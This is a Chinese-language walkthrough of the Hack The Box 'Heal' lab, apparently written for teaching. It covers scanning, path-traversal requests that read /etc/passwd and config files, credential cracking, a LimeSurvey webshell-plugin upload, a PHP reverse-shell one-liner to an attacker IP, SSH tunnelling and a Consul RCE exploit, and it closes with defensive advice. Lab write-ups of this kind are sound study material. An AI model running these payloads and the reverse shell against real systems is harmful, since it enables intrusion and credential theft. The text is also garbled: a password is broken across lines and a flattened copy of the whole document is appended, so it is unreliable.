Linux渗透实战之HTB-Heal
字数 1320 2025-08-22 12:23:06

HTB-Heal 渗透实战教学文档

1. 信息收集阶段

1.1 初始端口扫描

使用nmap进行快速端口扫描:

nmap -sT --min-rate 10000 -p- 10.10.11.46

发现开放端口:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

1.2 详细服务扫描

nmap -sTVC -O -p22,80 10.10.11.46

获取详细信息:

  • SSH: OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
  • HTTP: nginx 1.18.0 (Ubuntu)

2. Web应用渗透

2.1 初始访问

  1. 访问http://heal.htb发现登录界面,可注册
  2. 注册后进入简历生成器功能

2.2 目录遍历漏洞利用

在简历生成过程中抓包(Burp Suite),发现filename参数存在目录遍历漏洞:

GET /download.php?filename=../../../../etc/passwd

成功读取/etc/passwd,发现用户:

  • ron
  • ralph

2.3 目录爆破

使用gobuster进行目录爆破:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -u http://heal.htb -t 50

发现重要路径:

  • /survey

2.4 子域名发现

  1. 访问/survey发现子域名http://take-survey.heal.htb
  2. 在index.php中发现用户名ralph

使用feroxbuster进行子域名爆破:

feroxbuster --url http://take-survey.heal.htb/index.php/ -C 503

发现管理后台:

http://take-survey.heal.htb/index.php/admin/authentication/sa/login

2.5 配置文件读取

  1. 发现api子域名http://api.heal.htb
  2. 通过目录遍历读取LimeSurvey配置文件:
http://take-survey.heal.htb/download.php?filename=../../../../var/www/limesurvey/application/config/config.php
  1. 读取数据库配置文件:
http://take-survey.heal.htb/download.php?filename=../../../../var/www/limesurvey/application/config/database.yml

获取数据库凭据,使用john破解得到:

ralph:147258369

3. 初始访问获取

3.1 LimeSurvey后台登录

使用凭据ralph:147258369登录LimeSurvey管理后台

3.2 LimeSurvey RCE漏洞利用

利用插件上传漏洞执行RCE:

  1. 下载webshell插件:
git clone https://github.com/p0dalirius/LimeSurvey-webshell-plugin
  1. 修改console.py中的路径(如需)

  2. 上传插件zip文件并激活

  3. 访问后门执行命令:

http://take-survey.heal.htb/plugins/Shell/Shell.php?action=exec&cmd=id
  1. 反弹shell:
php -r '$sock=fsockopen("10.10.16.41",8888);shell_exec("sh <&3 >&3 2>&3");'

3.3 获取SSH凭据

在配置文件中发现密码:

find /var/www/ -name '*config*' 2>/dev/null

找到/var/www/limesurvey/application/config/config.php,包含密码:

AdmiDi0_pA
$$
w0rd

使用crackmapexec验证SSH:

crackmapexec ssh 10.10.11.46 -u ron -p AdmiDi0_pA
$$
w0rd

成功获取SSH访问权限。

4. 权限提升

4.1 内网服务发现

检查本地服务:

ss -tuln

发现多个内部端口,重点关注:

  • 3000
  • 8500
  • 8600

4.2 SSH端口转发

ssh ron@heal.htb -L 3000:127.0.0.1:3000
ssh ron@heal.htb -L 8500:127.0.0.1:8500
ssh ron@heal.htb -L 8600:127.0.0.1:8600

4.3 Hashicorp Consul RCE

  1. 访问http://localhost:8500
  2. 查看页面源码发现Consul版本信息
  3. 使用searchsploit查找漏洞:
searchsploit consul
  1. 下载并执行漏洞利用脚本:
python consul_rce.py --acl-token=随便填 --cmd="whoami" http://localhost:8500

5. 关键知识点总结

  1. 目录遍历漏洞:通过filename参数读取系统敏感文件
  2. 子域名爆破:发现隐藏的管理后台和API接口
  3. 配置文件泄露:通过目录遍历获取数据库和系统配置
  4. LimeSurvey RCE:通过插件上传漏洞获取初始访问权限
  5. SSH端口转发:访问内部服务进行横向移动
  6. Hashicorp Consul RCE:最终权限提升的关键漏洞

6. 防御建议

  1. 修复目录遍历漏洞,严格过滤用户输入
  2. 加强配置文件权限,避免敏感信息泄露
  3. 及时更新易受攻击的组件(如LimeSurvey、Consul)
  4. 实施最小权限原则,限制服务账户权限
  5. 监控异常端口转发行为
  6. 使用强密码策略,避免密码重用
HTB-Heal 渗透实战教学文档 1. 信息收集阶段 1.1 初始端口扫描 使用nmap进行快速端口扫描: 发现开放端口: 22/tcp (SSH) 80/tcp (HTTP) 1.2 详细服务扫描 获取详细信息: SSH: OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 HTTP: nginx 1.18.0 (Ubuntu) 2. Web应用渗透 2.1 初始访问 访问http://heal.htb发现登录界面,可注册 注册后进入简历生成器功能 2.2 目录遍历漏洞利用 在简历生成过程中抓包(Burp Suite),发现filename参数存在目录遍历漏洞: 成功读取/etc/passwd,发现用户: ron ralph 2.3 目录爆破 使用gobuster进行目录爆破: 发现重要路径: /survey 2.4 子域名发现 访问/survey发现子域名http://take-survey.heal.htb 在index.php中发现用户名ralph 使用feroxbuster进行子域名爆破: 发现管理后台: 2.5 配置文件读取 发现api子域名http://api.heal.htb 通过目录遍历读取LimeSurvey配置文件: 读取数据库配置文件: 获取数据库凭据,使用john破解得到: 3. 初始访问获取 3.1 LimeSurvey后台登录 使用凭据ralph:147258369登录LimeSurvey管理后台 3.2 LimeSurvey RCE漏洞利用 利用插件上传漏洞执行RCE: 下载webshell插件: 修改console.py中的路径(如需) 上传插件zip文件并激活 访问后门执行命令: 反弹shell: 3.3 获取SSH凭据 在配置文件中发现密码: 找到/var/www/limesurvey/application/config/config.php,包含密码: 使用crackmapexec验证SSH: 成功获取SSH访问权限。 4. 权限提升 4.1 内网服务发现 检查本地服务: 发现多个内部端口,重点关注: 3000 8500 8600 4.2 SSH端口转发 4.3 Hashicorp Consul RCE 访问http://localhost:8500 查看页面源码发现Consul版本信息 使用searchsploit查找漏洞: 下载并执行漏洞利用脚本: 5. 关键知识点总结 目录遍历漏洞 :通过filename参数读取系统敏感文件 子域名爆破 :发现隐藏的管理后台和API接口 配置文件泄露 :通过目录遍历获取数据库和系统配置 LimeSurvey RCE :通过插件上传漏洞获取初始访问权限 SSH端口转发 :访问内部服务进行横向移动 Hashicorp Consul RCE :最终权限提升的关键漏洞 6. 防御建议 修复目录遍历漏洞,严格过滤用户输入 加强配置文件权限,避免敏感信息泄露 及时更新易受攻击的组件(如LimeSurvey、Consul) 实施最小权限原则,限制服务账户权限 监控异常端口转发行为 使用强密码策略,避免密码重用